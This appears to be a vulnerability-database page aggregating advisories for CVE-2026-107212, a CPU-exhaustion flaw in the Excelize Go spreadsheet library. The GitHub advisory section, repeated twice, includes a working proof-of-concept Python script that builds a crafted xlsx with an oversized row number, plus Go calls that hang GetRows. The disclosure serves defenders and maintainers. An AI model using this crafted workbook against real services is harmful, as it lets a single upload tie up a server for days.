CVE-2026-107212
Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days
Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days
Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.
- Record
CVE-2026-107212- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
EUVDEUVD-2026-94527
7.5
Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.
- Record
EUVD-2026-94527- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jw42-f3rr-4cc3
7.5
Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days
Summary
A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.
Details
Rows.Next checks the row number:
rowNum, _ := attrValToInt("r", xmlElement.Attr)
if rowNum > TotalRows {
rows.err = ErrMaxRows
return false
}
But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):
if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
rows.curRow = rowNum
}
After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().
If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.
Proof of concept
This script uses only the Python standard library and writes a 1.5 KB workbook:
import zipfile
parts = {
"[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
"_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
"xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
"xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
"xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
for name, xml in parts.items():
z.writestr(name, xml)
f, _ := excelize.OpenFile("poc.xlsx")
rows, err := f.GetRows("Sheet1") // does not return
Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS…
- Record
GHSA-jw42-f3rr-4cc3- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
NVD
7.5
Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.
- Record
CVE-2026-107212- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSV
7.5
Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days
Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. From 2.1.0 to 2.11.0, Rows.Columns accepts a look-ahead row number above TotalRows without applying the limit enforced by Rows.Next. File.GetRows relies on Rows.Next and Rows.Columns, but Rows.Columns consumes the row r attribute without the limit check in Rows.Next. When a crafted worksheet places an oversized row number after an ordinary valid row and the application calls GetRows or iterates Rows, the iterator advances through every missing row number instead of rejecting the workbook, allowing an attacker to consume a CPU core for an attacker-controlled duration. No fixed version is available as of this review.
- Record
CVE-2026-107212- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVGHSA-jw42-f3rr-4cc3
7.5
Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days
Summary
A worksheet whose <row r="..."> number is far past Excel's 1,048,576-row limit makes File.GetRows and the Rows iterator loop once for every missing row. The row limit is checked in Rows.Next, but not in Rows.Columns, which also reads <row> elements. A 1.5 KB file with <row r="231999999999940"> after an ordinary first row keeps GetRows busy for an estimated 11 days (about 4 ns per missing row), using one CPU core and little memory. Any service that calls GetRows or iterates Rows on an uploaded workbook can be tied up by a single request.
Details
Rows.Next checks the row number:
rowNum, _ := attrValToInt("r", xmlElement.Attr)
if rowNum > TotalRows {
rows.err = ErrMaxRows
return false
}
But Rows.Columns reads the cells of the current row by consuming tokens until it reaches the next <row> element, and it sets rows.curRow from that element's r without the check (rows.go, around line 179 at 3985c1f):
if rowNum, rowIterator.err = attrValToInt("r", xmlElement.Attr); rowNum != 0 {
rows.curRow = rowNum
}
After that, rows.curRow is 231999999999940, and each later Next() call takes the rows.curRow >= rows.seekRow shortcut and returns true without reading any XML. GetRows then calls Next() and Columns() once per row number from 2 to 231999999999940. The check in Next() never runs, because the oversized <row> element was already consumed by Columns().
If the oversized row is the first row, Next() reads it and the existing check works; TestGetRows covers only that case. The bug needs a valid row first.
Proof of concept
This script uses only the Python standard library and writes a 1.5 KB workbook:
import zipfile
parts = {
"[Content_Types].xml": '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>',
"_rels/.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>',
"xl/workbook.xml": '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>',
"xl/_rels/workbook.xml.rels": '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>',
"xl/worksheets/sheet1.xml": '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="231999999999940"><c r="A231999999999940"><v>2</v></c></row></sheetData></worksheet>',
}
with zipfile.ZipFile("poc.xlsx", "w", zipfile.ZIP_DEFLATED) as z:
for name, xml in parts.items():
z.writestr(name, xml)
f, _ := excelize.OpenFile("poc.xlsx")
rows, err := f.GetRows("Sheet1") // does not return
Measured on v2.11.0 (linux/amd64), same file shape: a row number of 2,000,000,000 takes 8.3 s, 4,294,967,297 takes 17.5 s, and 231,999,999,999,940 did not finish in 15 minutes. That's linear, so about 11 days. Max RSS…
- Record
GHSA-jw42-f3rr-4cc3- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770
- Updated
- 2026-11-02
OSVGO-2026-6685 No score
Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days in github.com/xuri/excelize
Excelize: Unbounded row number in Rows.Columns makes GetRows and the Rows iterator loop for days in github.com/xuri/excelize
- Record
GO-2026-6685- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/xuri/excelize/v2Go |
2.1.0 up to 2.11.1-0.20260930021559-01a9ff32fb3c | 2.11.1-0.20260930021559-01a9ff32fb3c |
github.com/360EntSecGroup-Skylar/excelize/v2Go |
2.1.0 and later | None known |
github.com/xuri/excelize/v2Go |
before 2.11.1-0.20260930021559-01a9ff32fb3c | 2.11.1-0.20260930021559-01a9ff32fb3c |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-107212 is a high vulnerability (CVSS 7.5) in Excelize, published October 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.36%, the 30th percentile. Fixed in github.com/xuri/excelize/v2 2.11.1-0.20260930021559-01a9ff32fb3c.
References
github.com/qax-os/excelize/security/advisories/GHSA-jw42-f3rr-4cc3
github.com/qax-os/excelize/pull/2438
github.com/qax-os/excelize/commit/01a9ff32fb3c1f873cf01205e1b8a3285b0e1d23
nvd.nist.gov/vuln/detail/CVE-2026-107212
github.com/advisories/GHSA-jw42-f3rr-4cc3
github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107212.json
github.com/qax-os/excelize
Left out here: the rest of 2 source descriptions. The JSON record has them.